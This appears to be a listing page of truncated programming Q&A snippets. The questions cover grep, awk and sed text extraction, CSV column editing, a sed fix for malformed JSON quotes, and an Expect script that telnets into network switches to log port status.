Example of a file I'm greping information in: name : server1 description : webserver memory : 32gb name : server2 memory : 128gb name : server3 description : appserver I'm doing something like this : cat myfile | egrep -w "name|description|memory" | awk -F" " '{print $3}' >> myfile2 In...

How to match and change strings in a column of a semicolon separated file?

regex,awk,sed,gawk
I have a semicolon separated csv-file which looks like this: column1;column2;;123564;128;;IJL;value;;;;;3705;;;;;;;; column1;column2;;26789786413423;;CCE;value value;;;;;;3705;;;;;;;; column1;column2;;4564564;128;;SSE;value;;;;;;;;;;;;; column1;column2;;4645646;128;;JJY;someting X;;;;;;;;;;;;; column1;column2;;123132;128;;ASA;X value;;;;;;;;;;;;; column1;column2;;45643123;128;;TT;9 someting;;;;;;;;;;;;; column1;column2;;456464;128;;KK;VALUE 9 VALUE;;;;;;;;;;;;; column1;column2;;4646;128;;ST;value 6;;;;;;;;;;;;;...

Saved format output in columns [grep, sed, awk or ?]

regex,perl,awk,sed,expect
I have created a Expect Script file that telnet to multiple +200 switches. My code: #!/usr/bin/expect -f #Slurp up the input file set fp [open "ip.txt" r] # To avoid empty lines, 'nonewline' flag is used set file_data [read -nonewline $fp] close $fp set prompt ">" log_file -noappend switch_port_status.txt foreach...

Replace "[ to [ with sed

linux,sed
I have a file: "tags": "['PNP']" Clearly "[ is wrong, it must ot be "tags" : ['PNP'] So I wanna to replace with sed: sed -i "1,$ s/"[/[/g" file.json However it told me that it is not match How can I do it?...